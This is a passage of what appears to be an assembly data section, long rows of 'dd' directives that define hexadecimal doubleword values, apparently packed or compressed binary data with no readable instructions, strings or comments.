0B77C9FB4h, 0FFC1C0E4h, 5003BFFFh dd 97B815Dh, 258E038Bh, 831760E2h, 9A0ADF7Bh, 61E2DB5Fh dd 0FFFFC30Fh, 0D8D4BFFFh, 7005E13Ah, 4C7B9882h, 88CD8513h dd 2575AE92h, 58898E7Fh, 5AA0B804h, 54B9188h, 0AB7FFFFFh dd 2537CB5Bh, 0B2309333h, 0A7D40728h, 70295780h, 360F9093h dd 391B43E0h, 0FFFFFFE0h, 59EF1971h, 7802D1C5h, 6F6890C8h dd 790B8E53h, 3ECB00C2h, 979ACF88h, 0FF46F093h, 965FF8DFh dd 70161C7Eh, 4C97C6Ch, 468DA112h, 0A39F016Ch, 743B0B28h dd 0FD2F38A5h, 1FBDFFFFh, 4D726E58h, 502AC1EBh, 19462A03h dd 0C1E75264h, 0E8805B12h, 0BD165008h, 0FE0097F0h, 0CE621880h dd 6CE8518Dh, 0EB609A59h, 0FFFEA842h, 0B7B72F16h, 3E59508h dd 5E3966F0h, 0FB405BA3h, 8D1446FFh, 0FFFFF07Ch, 23768A8Dh dd 0E8906857h, 6A75118h, 7C9EEC6Dh, 43061A0Eh, 0FFFF282Eh dd 14512FFFh, 90E3D3CDh, 5FF6F8F8h, 652B755Dh, 685A697Ch dd 0B930D69Bh, 0A142140Dh, 0BFFF1078h, 6AD5FA35h, 0B7DB3680h dd 3074158Fh, 909717F7h, 26C7F880h, 0D1BFA868h, 7C5DFC5Bh dd 61AF0577h, 37C323C1h, 88249828h, 0FFFF7447h, 5619FFFFh dd 0A0AC421Dh, 7BD098A5h, 0B0A10408h, 656A6091h, 48B77659h dd 0B8FC928Eh, 5733C19h, 0E85E6639h, 7634FFFFh, 0A96415FFh dd 1BFBE207h, 0C99CF450h, 200F310Ah, 7326AA70h, 0FFEDF03Fh dd 29FC1B37h, 42DFBDF1h, 0FF190DBDh, 911F2EA1h, 0DC34CD9Eh dd 6FFFFFFFh, 0CDE97C93h, 43602171h, 0BDA83E3Ah, 0DEE54DFCh dd 46C77E81h, 6C29885Ch, 0D087227Eh, 6FFE17Fh, 26452FB1h dd 56DFE1Dh, 0DE1D2454h, 778689D3h, 0EA5FCDE2h, 0EF7CFFFFh dd 0FC0F15E4h, 86C67035h, 8EB7329Dh, 4B0643F8h, 0C98C7E01h dd 0A37F700Bh, 50254BD5h, 0F7A4BA7Ch, 0A1526C18h, 0FFFFDA44h dd 3DC0FC1Bh, 6CAE0B82h, 425E30DCh, 0B5D874B3h, 4F014885h dd 0ABA457ADh, 0FE2D4238h, 9EFBFFFFh, 0B3FAF878h, 684E37F9h dd 8A65289Eh, 0DF2E56D4h, 0F1DB30B2h, 0FFFF4611h, 2956FFA5h dd 82C5F828h, 13D102E8h, 2B5C1EA5h, 24512432h, 5823FF4Eh dd 980015Bh, 0E17FFFF0h, 941BE9BBh, 1778695Dh, 0E12A725Fh dd 4863BC53h, 3C1051D3h, 7FF86808h, 51E72FA9h, 79116022h dd 3A8A5701h, 13624B44h, 2FB21321h, 9C17B7FDh, 732342Ch dd 48443C32h, 13876489h, 9C109CAEh, 0A25FFFFh, 687EC30Ch dd 91570255h, 0FF064C11h, 0C446698h, 6FFF76E1h, 857CFFF1h dd 92AC759Ah, 0A06C3BD9h, 8FB45979h, 74108ED5h, 0C7C3F14h dd 0FFFC3F83h, 824BFC6Fh, 44C72070h, 24268827h, 9E111CE1h dd 0C7FFCC5h, 0BBE41A4h, 50BF570Ch, 3D3B1B89h, 0E5438D34h dd 300947F5h, 0FFFFFFFFh dd 684B5043h, 0F0CEE8E8h, 685604FBh, 0F0A307DCh, 91910CA6h dd 0F4D09193h, 3278F8C8h, 21AC12BDh, 0FFFFFFFFh, 65A30DA5h dd 0FDF4AD7Bh, 8281306h, 86D3B10Dh, 104F891h, 4250A124h dd 0A712BF1Ch, 38D404A1h, 0FE22DFFFh, 35EB83AEh, 973D9A4Dh dd 9275A32Bh, 0BC213859h, 0D7507DCCh, 0E05FFF56h, 54ED884Eh dd 1592A5BBh, 59D80C3Eh, 0A3202AACh, 1BFF1661h, 5CF218FCh dd 6F3CF4F2h, 73998878h, 0D128126Ch, 0FFF16FD8h, 878574FFh dd 0C11F481Bh, 0A782BAF0h, 0E3006423h, 34C44874h, 1B902D9Eh dd 0FFFF02FEh, 0C1107F3h, 5E6720E8h, 0CB4CA5Fh, 0C9B215A8h dd 0D86D0816h, 2F778101h, 0A7A5FFFDh, 413A09BAh, 0EB580A38h dd 9FE575h, 5D997903h, 6FFFC6F9h, 0FA45F42Fh, 0AFCC874h dd 0F909F86Eh, 82D8A14h, 511A7107h, 0FFFFB185h, 2778FE37h dd 905B13A7h, 86F4AA07h, 38109720h, 0A8F9F445h, 5F25B5B5h dd 232B7614h, 0FFFDBFFFh, 0C1C820Ch, 85056A0Ch, 0F9C5BFA3h dd 815A8370h, 2E8DDD38h, 63920119h, 0BB561423h, 0FFFFFFFFh dd 0A20E1A8h, 75F14F94h, 0EB86CD7Dh, 0C0535338h, 0E268F478h dd 0E06DFA53h, 0B788152Ch, 0EB253D89h, 0D0BFC4BCh, 0F0F4EE15h dd 7578F744h, 0E6FF170Ah, 0FFFF05EDh, 39781BC6h, 8060145Dh dd 38496A14h, 55AD2C18h, 0CB0C56F1h, 0FFFFF675h, 0FF0FE2Dh dd 0FB7CB7A8h, 3B488214h, 40017D05h, 6C2FA189h, 0C986D05Dh dd 0FFA5AB84h, 0C30CC2C2h, 0CD918A61h, 1CB3310h, 0C90D2045h dd 0D4B16FFFh, 456AD6AEh, 8D99AD40h, 0E884A920h, 0D0FA2417h dd 0FFFFFD5Bh, 146B8688h, 0C50489C4h, 7A386883h, 68A7507Bh dd 37FDDF8Ch, 43E0459Bh, 168378DFh, 0F758FDB9h, 8D3737F7h dd 0FD6F3F44h, 0EF40FFFFh, 0A408859Ah, 0AAF91304h, 13C48B4Ch dd 9F6E20B4h, 0D441C71Ch, 0B60A0C3Dh, 0FFFFFFD6h, 0A1C10A11h dd 2012DB95h, 0BB6DB1BFh, 94F46FDAh, 0F46CF45Dh, 9C193D50h dd 0FF6511FBh, 0F4FFFD6Fh, 35997174h, 6BE3F4F3h, 4000E2D4h dd 0A2E75A69h, 877B209Ah, 23A1F1C8h, 0FE2DFFC6h, 0C1A68ABEh dd 0E893F78Fh, 747B5BB6h, 0E71C4A29h, 0FFD4DB4Dh, 6EFFFF42h dd 7CA78F08h, 3818021Ch, 3076DD9h, 7EC57B59h, 8327BD45h dd 0FFFFCF2Ch, 39F1FADFh, 0D0F41609h, 0F33BFCE0h, 6C76A74h dd 0C01AEBB1h, 18D40CEAh, 4128D8F1h, 0FFFE25D1h, 0A5B2C24Dh dd 0C26356CFh, 0DBB37D22h, 0C7B58FCDh, 7F56EB03h, 28E7BF8Bh dd 3C56A53h, 0E47F6EEAh, 127EE622h, 0FA37FF06h, 5608A78Dh dd 0DD6D860Bh, 839767Ch, 82F09C1Ah, 0FFFF00A1h, 1427FFEDh dd 0C0A9AC67h, 46580474h, 0F7DAD1A8h, 0EC481600h, 1A3B3794h dd 1666A5C3h, 0FFFFDB01h, 4073FFFFh, 2B4B5114h, 0B6077C15h dd 0BF7F932Ah, 4361670Fh, 4FD47474h, 7E50E180h, 16086FBAh dd 56FFF81Ah, 0F646FFFAh, 0FF3D7E53h, 58DEE084h, 0D43877E0h dd 0DD74FB96h, 1CD707C7h, 0F8156FFFh, 0F8C72321h, 5CC505FFh dd 5DB2ECB4h, 1B0B970Ch, 37FF57A1h, 0F4DCF068h, 7A800471h dd 7F1C0C98h, 0DB23501Fh, 0EDFFD77Dh, 0B150FFFFh, 0F05EB0ECh dd 1BDEF7B5h, 843123F6h, 2A3EC136h, 0DEDFF75h, 0D07129E1h dd 0FFEA4A2Fh, 0D322FFFFh, 6289D724h, 0CBF4B77Bh, 3918AEE0h dd 0C6981845h, 66E0658Dh, 0B8300DC0h, 0DFFF12EFh, 62EC2A58h dd 8BC8A41h, 616F280Ah, 2405336Fh, 0DFFFFD41h, 0AE9782D0h dd 0A8AB1BE6h, 0FFA48D11h, 5E8A709Ch, 898B3E3Bh, 0FFFFB6ABh dd 3F80AADFh, 0D586359Ah, 7C1E4D93h, 428D00CBh, 2C1B44FFh dd 646207A8h, 0FFF5BFE2h, 3D04D606h, 8B536306h, 95408D8h dd 0F7E82F95h, 8A159BC2h, 7FFFFF0Ah, 0CB3AB921h, 0FADFCF74h dd 51EA52D9h, 0BEB7514h, 0C1C35AD8h, 1FE210E3h, 0FE371B1Bh dd 856B7A2h, 56BF0A8Bh, 0DD3FF78Bh, 0FFFF0B59h, 0F9C1FFFFh dd 0A2FFF183h, 0BFC633CFh, 38BD05CDh, 0A5E18104h, 740625E1h dd 2E0BB0D3h, 8106013Ch, 7FD243E6h, 0C475FFEBh, 2C55DC2Ch dd 42B15B8Dh, 0BE3655FCh, 0E816FD05h, 0FF673AEFh, 27E0DFFFh dd 10E803C9h, 0E9A69BB5h, 6DC1512h, 2D96EBD4h, 9EE749CEh dd 0FFD242B3h, 37FEF42Fh, 30F2FD06h, 9F90A714h, 82F9B4ECh dd 0F5280378h, 2FC5A229h, 5D82A8FCh, 0E72219C0h, 944EF109h dd 2EA5F4BBh, 7F6012D1h, 6E1E0B47h, 0FFFF7344h, 2200BFFFh dd 1A8DCE3h, 25C45AB6h, 5D10A83Bh, 57B68512h, 84E7FE8h dd 89FEE083h, 0A4C8A0Eh, 0EADFFFFFh, 0D4CA68EFh, 0A966023Bh dd 230F010Ch, 52E375EEh, 0B31403B4h, 0F03BEE58h, 0FC4BFEB7h dd 3112C203h, 0D2A0B58h, 0A877F5C6h, 0BCFAB27Ah, 0DFFB6B2h dd 0D459FF5Ah, 40ADE22Ch, 90FF0837h, 7E1BDB6Fh, 4B488D3Eh dd 8B7FFFFEh, 0F82B520Eh, 0B3C5CB49h, 7E05142Fh, 3950571Dh dd 0DC89DAB1h, 0FF9F17F6h, 462DFFFFh, 6F20734Dh, 0B70B6DCAh dd 83DD79A8h, 41BCEF9h, 5BE286FEh, 906EA7A1h, 0D5BC6FFFh dd 9E476B1Fh, 505A26Ch, 8D440403h, 0B410B8F2h, 0FFFF0258h dd 31CFFFFh, 89B0207Ch, 6C512E9Fh, 0FB525153h, 5871C223h dd 0FF91F77Ah, 4D8A7525h, 16558808h, 0BFFD330Bh, 3C51FFF4h dd 706E6B11h, 398D1A10h, 8DFDB3Ch, 6185112Fh, 0F6F35DEEh dd 0FFFF0C41h, 0E023BF42h, 8306310Bh, 49FF7E07h, 8B0B7804h dd 0A8358811h, 0FF02E23Ah, 0FFFFFF12h, 260C9501h, 17A299C2h dd 0C067EAFFh, 820DA961h, 9206CF06h, 1D50A26Dh, 0DFF4BC9h dd 0FF252CFEh, 0B3DED94Dh, 834A7F69h, 7D47FF3Eh, 955BE78Ch dd 5D5EFFFAh, 0B8294756h, 25536EC4h, 0BAD5D98Bh, 0FFFFA808h dd 6AA9FE2Dh, 77013B2Eh, 2D8D252Dh, 7894A294h, 6E4334CFh dd 35D847A5h, 0FFFF1375h, 83AFFFFFh, 16262A38h, 831C3FB0h dd 7C4DCF76h, 5ED34924h, 0A0FE08D0h, 78D92E89h, 8537F402h dd 0FFFF2E47h, 0F1BAF85Fh, 0E39DD9CFh, 1DA2EDC9h, 0CBD8B74h dd 4A08B52Bh, 0B6CB9C4Dh, 891B16F5h, 0FFFFFFFFh, 0B408D47Dh dd 48C0E802h, 0E02CB2CBh, 69BCB0C4h, 0FD880326h, 75D07539h dd 569C7C2Dh, 0A1052D41h, 0FFD5BFFFh, 0C2A87065h, 0B9F30CF6h dd 0E075DA4h, 166385D0h, 1D9B44Bh, 60922EA4h, 0FD0BF16Dh dd 4580E35Bh, 0D40DC5E3h, 0FECB21BBh, 0FFFFC16Ch, 8DE60BFFh dd 0C1998474h, 0DC1FC508h, 27550603h, 0D62C11C1h, 0EC027F24h dd 702D2A39h, 0F16FFFFFh, 0C6DD5236h, 3B228016h, 71A97DEh dd 76DB2F8Ah, 84BE138Bh, 2CCF8D2h, 0C2FFFFFAh, 0A847ACD8h dd 0E7B75705h, 0B907EE17h, 0FAAACCB1h, 0B8A95F77h, 0F8E08C0Fh dd 1C37FFFFh, 3C202CC2h, 0B7117758h, 2151B8B9h, 58F08000h dd 4B550F5Ch, 0FD01912Ch, 0F717FC1Bh, 51102FBEh, 0E9ABADA9h dd 3F04806Fh, 1BEE140Bh, 4BFFFFE0h, 7A870F88h, 9163D735h dd 99B85285h, 885FEC2Ah, 84660F70h, 0FD6F85C0h, 73697DFh dd 6DBC5D4Fh, 3EBBDEB4h, 0E82D7447h, 0FC5BA974h, 6FBA5FFh dd 3F14848h, 394039A4h, 0BA439112h, 1392758h, 0FE0DFF06h dd 0DDB0E471h, 0EEE34D81h, 0FA800214h, 0B50286E8h, 0FFC6FF6Fh dd 8BDCCBFFh, 8FBCFC7Fh, 9C2739BDh, 4806F08Dh, 24C4F704h dd 342DB514h, 0FD2FC0B9h, 0A16FFEDh, 1CC9CA79h, 0D0B9B6B3h dd 73412EABh, 1D909967h, 7D3EC4D9h, 0FFFB7E05h, 0E00640D8h dd 46744936h, 0BCBCB6DCh, 6C38A204h, 0FE771574h, 0FD4B12ABh dd 678DB135h, 23B5A5C7h, 0C002005Eh, 39117FFFh, 92C330ECh dd 10BA59A8h, 0DFEF2008h dd 2F2314BAh, 0C4FF42FDh, 34017B80h, 32101175h, 0E403B0F6h dd 321A3376h, 0FFFFFFDBh, 376C985Bh, 0F1024965h, 5B8641Ah dd 0E6967972h, 7693CB6h, 0F56F05FDh, 670C6675h, 0FFFFFE17h dd 58E578EDh, 0AB70B8DDh, 9C0F0F54h, 50C2CE50h, 0CC1C352Ch dd 3C3B30F6h, 0A17C3522h, 6D2EFFFFh, 0D0C01953h, 986F118Dh dd 0BFA1DCD9h, 70C13463h, 0BF0849B7h, 4BE8EFABh, 3E728F86h dd 5EB8E58h, 71AB530Eh, 7FF16FC1h, 179AE942h, 107441CFh dd 0E910340h, 4EE550BDh, 16836B7Ch, 0AFFA40F3h, 0F46A39DAh dd 2FFE8DFFh, 0EC5DFE14h, 2D43C9B8h, 0A7E57C2Ch, 82C76F98h dd 0DCA06D0Dh, 0FFFFFE05h, 85DFCCE0h, 64E889DEh, 30F08FB0h dd 3B757508h, 6CEBE48Bh, 0B92E0710h, 0FFFEDFFFh, 0E095F5EDh dd 0B905FF83h, 0FC2683A3h, 0D61EBC0Ch, 0A0965EC2h, 0B3BD50B9h dd 8468FE03h, 0FF5BF854h, 550735B9h, 0BC5F0224h, 38E0D78Ch dd 0FB138287h, 2FFFFFABh, 1AE7DCC1h, 48649900h, 9379DB0h dd 4FC0C1A8h, 52CD99AAh, 0B7F45F31h, 0DB787FFEh, 814CD8ECh dd 0B6EB4F81h, 0EC886F9Bh, 0B054D9D5h, 0FFFA251Dh, 0C5966FFFh dd 0A81FD55Eh, 0DB697329h, 0EFEEDEB6h, 3B4E078Bh, 48F74AC6h dd 5F51CE09h, 585EADE8h, 0F35C5FE2h, 0B387BF0Fh, 0C22B9911h dd 0FFFFF105h, 0EFD9F8D1h, 0EC9B6034h, 80A10729h, 48B10BBAh dd 137950C0h, 0BFFFFFFFh, 2C8C8D43h, 0AD657486h, 0DC0D02EAh dd 6708FF44h, 84A08E0Fh, 0A07469F8h, 0D6DD66Eh, 0FFAB2244h dd 0CE6FD2F6h, 0FE6DF6F6h, 9780DD44h, 3F49A108h, 8DA14887h dd 8B407FFEh, 76A7DE37h, 0B50EF333h, 0EAD42126h, 0FFFFB4DBh dd 9A9B7FFFh, 0CC2C6609h, 7051766h, 9ACDF877h, 889AE106h dd 0E4ABDF4h, 0A444FFCh, 8566E87Bh, 0FFFFFFFDh, 43890FC9h dd 6A7F4B7Ch, 4572297h, 0FB86B84Eh, 670B0E75h, 0C2C8EDD3h dd 0E0184775h, 0FFFF393Eh, 3F52FFFh, 883B5135h, 9B578152h dd 138E2D7Eh, 81972F75h, 561C5DC6h, 0EE6C81E4h, 0B7FF1A8Eh dd 7C16FFFAh, 0EC0A74ACh, 0CF5A98FCh, 3BBF556Dh, 0A50A6B2Ch dd 873E1C2Ah, 0FFFF5E93h, 0B1CDFFFFh, 8405D8F0h, 8388F5BEh dd 0D002C405h, 0CBCE0B9h, 5B53F898h, 146E49D5h, 7D8B6A70h dd 0DAB71C91h, 0DF6CFFFAh, 0E781EF8Eh, 6E1AF280h, 13391575h dd 8081987Ch, 6FFF56Eh, 2FA9E75Fh, 19C730E4h, 3B781E26h dd 0FF78EBA5h, 81DFFFFFh, 4366300Bh, 8DDF53A9h, 48AE0E17h dd 0B4BB4A9Ah, 0D74621EBh, 738DC8E1h, 84FD703Ah, 0A37FFFFEh dd 24CCD5E3h, 0CC59C63Ch, 7B0027B4h, 0ADFC6C10h, 8AC920D9h dd 0FF510417h, 0FE2DFFB7h, 0C92C30C8h, 6E41955Bh, 80777AF0h dd 0E170B610h, 43B23A6Dh, 0FFFFFFFFh, 86C1F697h, 0B40A0415h dd 3540C7C6h, 76FB2806h, 3FB83753h, 10EB9986h, 3740A14h dd 97C71D99h, 0FFFFFFF5h, 1ED25CEAh, 0D68F740Fh, 647C147Fh dd 7FD8E31Eh, 0D8F70E73h, 0F700D283h, 1B88B4DAh, 28940BABh dd 964D89F4h, 0FFFFE8A5h, 0F2DB7F6Fh, 6910097Dh, 83119786h dd 7483F74Ch, 0A087E25Bh, 0C30BC78Bh, 8D9421D7h, 0FFC1BFFFh dd 84AA17B5h, 0CFF5D6EBh, 5B497F5Ah, 90187889h, 505299C6h dd 8CBA585Bh, 0FE1706FFh, 30C1B689h, 2413397Fh, 5EC05F46h dd 880C033Dh, 0BFFF4E0Eh, 0B6EB8171h, 398CD8C2h, 7946C62Bh dd 0AED8CF02h, 0E23621BEh, 0FFF4BFF5h, 0CE8BD24Ch, 0E2303980h dd 542B7FDDh, 3001C6BBh, 4932EB40h, 56FF1166h, 858D2FFFh dd 4040C41Bh, 0FA2BF44Fh, 641BEB05h, 80B21FA4h, 0FE0D4908h dd 0F339FFFFh, 5050435h, 0D450F522h, 0C5B51B1Eh, 81FB6FB0h dd 0AA568662h, 0BF0F636h, 2366FFFCh, 0CCBA5245h, 0EB2DF67Fh dd 2B09A812h, 7402A8C7h, 0FFF5790Bh, 0BD0B2FB7h, 0EF021C1h dd 0C402D85Dh, 0D445C02Dh, 29270C90h, 0E8DF5764h, 0CC98BF12h dd 7D7F56B3h, 70635F61h, 0C84D8D13h, 0ADFFFE25h, 816D44A1h dd 6D111AEh, 29574D04h, 0B986DBAAh, 0FFFF9E30h, 0BC82FEA5h dd 563BD87Ch, 7ED7C9E3h, 0B7C1CD4Dh, 5997D906h, 909862D8h dd 0C0BF0106h, 26ECFFFFh, 7ACBEDABh, 46504690h, 391F7528h dd 68727411h, 6390AF8Ch, 0C2FF238Dh, 4A66F6C2h, 36B31598h dd 139B406Fh, 0A9686B07h, 56FF501Ah, 0A168FDB1h, 21318E59h dd 0ACA67CE7h, 0ADA2C6Dh, 0FFFF4DFAh, 0E0ACFA5Fh, 44360D65h dd 0B8E159B7h, 0E756228Ah, 1B6F1DA8h, 0CD8C4DAAh, 59D08AD4h dd 0FFFFFFFFh, 66EC4981h, 9204CB05h, 0E5B8016h, 0D3584A6Dh dd 468D8BE8h, 0A93007E6h, 1F8BABDh, 0EDB66CB3h, 0EAA6FA97h dd 7C409331h, 0B3C9202h, 7B4472C0h, 0F42F52FFh, 40561B73h dd 3866DB36h, 6FC2E52h, 68243E6Ch, 0FFFF1A85h, 9305203Dh dd 213D3F19h, 0FE7FAAB1h, 223D0E06h, 0D0BEE59Ah, 8199FE05h dd 0DA297170h, 68420F9Ch, 157224B9h, 0FFF56F21h, 4771CBB7h dd 774564AAh, 2F568BF9h, 5CE28705h, 0CA4A37F3h, 0FFFFFFADh dd 17FC3953h, 4E39B56Eh, 3DB6B21h, 0DA030CC1h, 0EE72CB3Bh dd 4ADFB710h, 2F02129Bh, 0C83BE854h, 40C7A373h, 0FF6C28B7h dd 97FFFFFFh, 0D4AD0858h, 0FC68349Fh, 0FB83248Bh, 64ED0905h dd 8BAC1ABh, 110406Ah, 4D68DE05h, 8DFF60B5h, 360FFFEh dd 8A08897Bh, 0A3190076h, 0ADB88518h, 0EF499Eh, 43D0578h dd 0FFFFF5D1h, 0D1BFE25Fh, 6B24BE4Bh, 5C7EB0C9h, 0DE396483h dd 8B98CFDh, 421D1E18h, 0FF8DDF03h, 3B90FFFFh, 0D6E27CD3h dd 0BCA86E08h, 4A8E3D00h, 79FB9827h, 6F7564E9h, 30836446h dd 0FFFE97FFh, 0F20F1290h, 81CFC873h, 84913D4Eh, 0E2933D3Eh dd 2E851CFCh, 1E828D3Dh, 0DFFF8F3Dh, 0CF35FB60h, 0DF8621CFh dd 14B08792h, 644C107Dh, 0BED0D35Dh, 0FFFF2B52h, 7347FFFFh dd 0C51E434h, 5CAD9914h, 38605805h, 0D2EA21D5h, 5C81F7B9h dd 6F8247D5h, 9B358B35h, 0FFE90BDFh, 1BF0FF02h, 8FBE057Ah dd 20B68ADFh, 2E8E0877h, 40BDA8D6h, 0FFFF491Bh, 6B227FFFh dd 0AAE50927h, 0F965808Bh, 4FF74002h, 1B7C743h, 0D3EB4646h dd 0F88072Ah, 2DE7119Ah, 0FFFFFFFFh, 0B592AA53h, 655B8EE7h dd 4BD49F5Dh, 0F3C2EFE0h, 8C331875h, 682D3C47h, 3D3DB706h dd 0AFCF5647h, 0F52FFFFFh, 0B6B7AB45h, 0EA723AE0h, 0B8A8046Ah dd 0FB380A3Dh, 683DB296h, 0A1ACE0D6h, 0FFFFEADFh, 5540CB44h dd 2B7D30AAh, 0E88B7814h, 2F7E24E8h, 0DE55016Ah, 3B2D8EEFh dd 0FF1BFFFCh, 74072BC3h, 5055564Ah, 0DEA8C64h, 52650053h dd 4B2F896Ch, 1E38F503h, 0BFFFFF8h, 0E2E4C17h, 893BFEABh dd 1F890A1Dh, 0F2C005C7h, 0EB724B59h, 0FFC3CD20h, 0D65FFFFFh dd 7ABA0A72h, 0E423C034h, 8E53DF95h, 0CF23545Ah, 5AF10EC9h dd 0DDF2A214h, 9A2538B0h, 5BFFFFF8h, 15A12BE8h, 5685BF48h dd 9E5A1380h, 0FC251033h, 3601B8B3h, 0BFBF22AAh, 0C737C0B1h dd 0C507FF3Ch, 0E8DB8322h, 89420288h, 0FFFE37FAh, 213B8A36h dd 0C3ED06D6h, 1E134B18h, 3834040Bh, 0B40CD774h, 0FC361773h dd 955FFFFFh, 5FDB845Dh, 0DE327470h, 0F4477836h, 0FB80A975h dd 904050Ch, 1E029F75h, 0D4BFEF45h, 0C6F65B46h, 0B3FA30AAh dd 0E9BC0BD1h, 0FFFFFFE8h, 5B3C16B6h, 0D610A160h, 0E383F396h dd 336F918h, 83D0A10h, 50A945A0h, 7F103E28h, 125FFFFBh dd 4A1ED1EFh, 4676F7C1h, 745C2241h, 3826ADF9h, 9AB54A01h dd 6BAF7466h, 55BFA5F6h, 41226996h, 0F10DEBF0h, 156EC7C4h dd 0FFFFFFFDh, 8E9D1FFh dd 27C4912h, 0BC36C65Ch, 0C9D042BBh, 0FDCBF175h, 8A35574h dd 0E97415B6h, 47744B82h, 0FFFFFD1Bh, 7B283DB0h, 53802B94h dd 0CDACE417h, 290D3B5Ch, 0E93DDCDEh, 671F6E73h, 0FFFFFFFCh dd 1A180322h, 0B74B0E54h, 8D274663h, 76B2Ah, 0FB9A1531h dd 3C1030F8h, 0A52AC9F7h, 0D6FFAC11h, 2BCA2FFFh, 0CC002083h dd 8A11CBECh, 8AD7895h, 0A138F1E5h, 0C1D88F8h, 0FFFFD1BFh dd 0A1AB4177h, 251FD4EDh, 5EE52D1Ah, 50183807h, 20A50A21h dd 308D886Dh, 0FFFFF16Fh, 0F27DEAB6h, 3BA3618Ch, 4C3830EAh dd 733F123Dh, 0F8956A4Ah, 4273F4DEh, 0FD1A2DC2h, 2E7C19Ch dd 0B2EF878Dh, 4BA33634h, 0D8F8DC4Bh, 0E11CDB07h, 570F3E29h dd 0FFC2506Bh, 7366FFD2h, 5CA3485Fh, 0AD606F69h, 4D171C2Eh dd 65B5E3ECh, 0FF12DC20h, 95FFFF42h, 0F09842F3h, 0FBF14BFEh dd 6AC3FFDBh, 0FF755D02h, 246855D7h, 6FFA35Eh, 9C8DFFFFh dd 4222A922h, 0B91242EFh, 17A3C5CDh, 0B1A1D39Ah, 633D8041h dd 0A5FF1C4Bh, 59ACFFFFh, 8FED390Fh, 0D91E5BE0h, 974A05DBh dd 0CC5032Ah, 4406F975h, 0F2D56A82h, 0FFB7FF02h, 0E1405BFAh dd 53A24B12h, 0A9206D6Eh, 0F751D771h, 3BE83A34h, 0FFFF4235h dd 54F657FFh, 289F1980h, 72881C23h, 959A55Dh, 0B2402524h dd 0E8DF800h, 0FA37E05Dh, 39222ADBh, 94ED038Bh, 32A6ACB7h dd 0FF58EBC3h, 0EA5FF02Fh, 4A80753Ah, 116CEE43h, 0EDFF1ABBh dd 7D946EDBh, 7C3840DDh, 0FFC5BFFFh, 78F604FBh, 0B59A440Ah dd 91816B40h, 0E99F0C8Ah, 10B48C42h, 61A22611h, 0FFFF5285h dd 1F162833h, 153FA8Ch, 68546A65h, 0A1C076F0h, 0FFF46CA2h dd 0DFF8Dh, 495B4606h, 7D16A02Eh, 2F1A565Eh, 0F0F7787Bh dd 0C0A3DC17h, 0A85FFFFEh, 888DE579h, 0AA2D0700h, 294E6B41h dd 2F367881h, 66FCBB7h, 0FD5BFF05h, 878AC37h, 25030024h dd 0DB8260Ah, 6B10B7EFh, 0C181300Dh, 0FFFD1BD2h, 63D3E92Ah dd 360B8051h, 6E5DCE7Dh, 7D12D6D0h, 0FF1BF254h, 8DFEDF1Bh dd 6DDCED84h, 8263DD0h, 6001F828h, 0A615C96Fh, 82845280h dd 0FFE25FE2h, 0AEF63DE2h, 0C8D4D8Ch, 350180B5h, 19010382h dd 0FF90C35Bh, 8FDFFFFFh, 3EC7CACh, 246080FBh, 81118480h dd 72C280C2h, 958846D6h, 39B20AFEh, 44EBA67Ch, 0FFFFF85Fh dd 80BD5609h, 7E96C721h, 28BE8B6Dh, 8C474D1h, 0FC51562Ch dd 0FCBBCC60h, 6FF5A84Bh, 0B108FE97h, 0A0E01551h, 3C818D61h dd 0F82C5E03h, 0E68323B7h, 6FEB7FFFh, 338F615h, 8B703829h dd 300691DBh, 0EF044688h, 41700043h, 0FFFAF25Ah, 0ED42FFFFh dd 4EA64703h, 1BFF9C46h, 43ED8A37h, 21042A83h, 8BA1937Ch dd 0BEC623A8h, 0B3541F3h, 0D37F52Dh, 6D2A0B69h, 800686FFh dd 0BFFC8061h, 72EBFFC5h, 0FA8149C6h, 5E0A1701h, 4D58F62Fh dd 156648C3h, 0C7EA0737h, 1BD5A97Fh, 0B0765486h, 5543DD15h dd 3DB9573Fh, 0FFFF897Fh, 349BC9E2h, 45793E89h, 14D77502h dd 90FD1B4h, 0E6BF7788h, 9508595Eh, 0FFF1BFFFh, 5A913774h dd 1006C727h, 0EC0EDA97h, 678C69B6h, 0C116CC9Ah, 0E457DC29h dd 0F8B71165h, 94CAFDBFh, 73BC0230h, 0AF9C1D99h, 4750B8FDh dd 0F604BF27h, 0ADFF51A8h, 9EC7FC2Fh, 0E7920500h, 585823ACh dd 0A302A104h, 91FB67Bh, 0FFFFC0CAh, 0BFBBFFFFh, 0BB40E64Eh dd 0CA5BB31h, 9A381811h, 0BAE0102Dh, 0D0F709FBh, 0EB2254A3h dd 2B1B5660h, 0FFFFF000h, 3D2CFFFFh, 0A92AFCD4h, 67A8C5F9h dd 7BDF0D8h, 0FDB4E060h, 0F027DB34h, 33F445DCh, 0E983330Ch dd 2FBB2EEh, 0F7CDFFFFh, 0EB594FBEh, 0C9D8850Bh, 78D7ED7Ah dd 0CC1110E0h, 28D6F77Bh, 45BFFD05h, 170511EBh, 8C49105Eh dd 7612FDB5h, 77FFFFF0h, 3DE4FF95h, 0A2E95023h, 91ECEE2Ch dd 0C51C1005h, 1D3D15DBh, 0A4278A06h, 0BFE0DDBFh, 0FB9351E5h dd 909AA45Bh, 4B53682Bh, 0E9210376h, 0DF90535Fh, 0AA0DF415h dd 9276F456h, 88DBF0B6h, 0DFFFFFFFh, 5DA506EAh, 0AA25BDE8h dd 0B87D1C14h, 576D756Fh, 300E12C0h, 0FE3AF75Bh, 0EFFFFEDh dd 70475C04h, 31C38168h, 8C67005h, 0AF9B8770h, 0D7DFFCCBh dd 0CD14A349h, 0FFFC94BDh, 10CCA5FFh, 15C22A9Ch, 41BA4051h dd 0F249303Eh, 0AF01661h, 1E242735h, 0B7FFFF47h, 53EA176Fh dd 10C7BDAh, 7FF0A6h, 11921514h, 7F90060h, 94F7BA29h, 97FFFE9h dd 0C73B37E0h, 5E96CF9h, 410DE2ECh, 0AEA3CEFAh, 0FFA08458h dd 0B4FF02FFh, 705A860Fh, 21458201h, 4B862FEBh, 903F9ABCh dd 3D173D3Ch, 0FF4387EFh, 4FFFFFFh, 7D813A77h, 4E10FDCh dd 79296A18h, 0C35A4B37h, 0E0E064B8h, 44271777h, 703B884Dh dd 1B119E75h, 75FFFFFDh, 53927F7h, 1F766818h, 0E8862D56h dd 0B9983D3h, 5E2514ADh, 0FF37C413h, 9CFF82A5h, 3FFBC975h dd 0ECA2FBE1h, 0B5B74544h, 0E47FFEAh, 17FFC524h, 81B0398Ah dd 3F7645Bh, 8C362F8Bh, 0FFEB392Dh, 0C2BFFFFFh, 0BE4AD810h dd 52401E62h, 0A6F4CFD1h, 40BCF91Bh, 0A704A608h, 45482788h dd 418EEBBh, 6B7FFF44h, 0A66803FFh, 0E40072CFh, 0BA011A05h dd 